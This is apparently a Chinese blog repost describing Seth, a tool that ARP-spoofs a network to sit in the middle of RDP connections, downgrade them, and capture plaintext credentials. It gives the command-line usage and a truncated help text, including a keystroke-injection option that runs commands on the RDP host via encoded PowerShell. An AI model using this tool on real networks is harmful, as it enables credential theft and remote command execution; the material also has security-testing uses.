执行MitM攻击并从RDP连接中提取明文凭证Seth

最新推荐文章于 2024-09-10 09:50:59 发布

TENCENTSYS

最新推荐文章于 2024-09-10 09:50:59 发布

阅读量705

点赞数

本文链接：https://blog.csdn.net/TENCENTSYS/article/details/101069502

版权

Seth是一个Python工具，旨在通过降级RDP连接来提取明文凭据。通过ARP欺骗实现Man-in-the-Middle位置，可以与Responder结合使用。演示视频展示了嗅探离线可破解哈希和明文密码的过程，强调了教育用途和风险自负。

摘要由CSDN通过智能技术生成

Seth是一个用Python编写，试图降级RDP连接来提取明文凭据的工具。

用法
像这样运行：

$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]

除非RDP主机与受害计算机位于同一子网上，否则最后一个IP地址必须是网关的IP地址。

最后一个参数是可选的。它可以通过注入按键事件模拟WIN + R在RDP主机上执行的命令。注入按键取决于受害者使用的键盘布局 – 目前它仅在英语美国版上可用。我建议避免使用特殊字符powershell -enc ，其中STRING是您的UTF-16le和Base64编码命令。

shell脚本执行ARP欺骗以获得Man-in-the-Middle位置并重定向流量，使其通过RDP代理运行。代理可以单独调用。可将Seth与Responder结合使用。使用Responder获得Man-in-the-Middle位置并同时运行Seth。运行seth.py -h以获取更多信息：

usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
               [-j INJECT] -c CERTFILE -k KEYFILE
               target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
  target_host           目标主机
  target_port           目标RDP服务的TCP端口（默认为3389）
optional arguments:
  -h, --help            显